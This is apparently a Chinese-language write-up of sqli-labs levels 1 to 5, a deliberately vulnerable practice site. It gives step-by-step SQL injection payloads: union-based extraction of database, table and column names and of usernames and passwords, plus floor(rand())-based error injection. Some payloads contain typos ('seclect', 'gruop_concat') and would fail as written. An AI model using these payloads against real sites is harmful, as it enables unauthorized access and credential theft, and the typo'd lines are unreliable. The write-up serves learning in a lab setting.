sqllib1-5
一

题目提示让我们给id一个数字的值,那就让id=1

能成功查询,接下来就是判断注点
尝试id=1‘

报错了很好,说明找到了注点,用’闭合后 报错 ,知道where id=’’,是字符类型的注入
用union联合注入,但前提条件是联合的两个表列数相同,所以先用order by
判断列数
构造playload
1 | ?id=1' order by 1...--+ /*为什么要用--+(也就是-- ),在输入?id=1' |
order by 后面的数字不断增加直到报错为止

到4报错了,说明列数有3列
接下来就是判断回显点
构造playload
1 | ?id=-1' union select 1,2,3 --+ |

发现显示了2和3,说明回显点在2,3号位
接下来就是爆数据库名,要用到databa()sql的元数据
构造playload
1 | ?id=-1' union select 1,2,database()--+; //database()位置在2,3都没关系 |

这样就得到了数据库名为security
接着就是爆表名
首先得知道mysql自带的表
information_schema.schemata:记录数据库信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
schema_name 数据库名
table_name 表名
column_name 列名
table_schema 数据库名
构造playload
1 | ?id=-1' union seclect 1,2,gruop_concat(table.name) from information_schema.tables where table_schema='security'|database()--+//sql查询语句的意思是在记录表名信息的表中查询当前数据库下的所有表,group_concat的作用是去除冗余的数据并合并成一行输出,因为这道只有一行的回显点 |

查到了表名,用户的账号密码肯定是在users的表里,但我们要查询还需要知道
表里有什么字段所以接下是爆字段
构造playload
1 | ?id=-1' union seclec 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+//从所有列名的表中查找表名为users的列 |

找到列username,password
接着用sql语句查询他们的值
构造playload
1 | ?id=-1' union select 1,2,group_concat(password,username) from users--+ |

查询成功
二

题目要求和第一题一样
首先找注点
尝试id=1

成功
再尝试?id=1’

从报错中看出php中的sql语句是where id=
说明是数字型的注入因为用的是同一张表所以playload只是注点不同,其他都相同
构造playload
1 | ?id=-1 union select 1,2,group_concat(password,username) from users--+ |
后面不加注释因为没有需要被注释的字符
查询成功
三
同样先尝试id=1
成功
接着尝试id=1’
发现报错的和第一题很相似,尝试用第一题的playload试一下
寄了
再仔细看下报错信息
发现问题了,比第一题多了一个)也就是说多了一个()的闭合,而我们只闭合**’**
所以注点要变成id=-1‘)尝试一下
やったぜ
四
一样先尝试id=1
成功
再尝试id=1’
居然成功了
再试试id=1“
成功报错了,看来这次是”“闭合
构造playload
等一下
还有一个)
那就和第三题差不多
1 | ?id=-1") union select 1,2,group_concat(password,username) from users--+ |
ok
五
老套路
有点不太一样,不管先试试id=1’
报错能显示出来
看的注入点是字符’闭合
但没有写回
那就试试floor(rand(0)*2)报错注入
用group by的重复
floor(rand(0)*2)的作用是伪随机生成0,1
groupby函数在起作用时会新建一个表来存数据,并会执行两次用floor(rand(0)*2)会产生两个一的时候就会键名重复报错并会输出在groupby中的sql语句
构造playload
1 | ?id=-1' union select count(*),count(*),concat('~',floor(rand(0)*2),(select username from users limit 0,1)) as a from information_schema.table group by a--+//count()和groupby一起使用报错注入中无法使用group_concat所以用limit来限制行数 |
成功.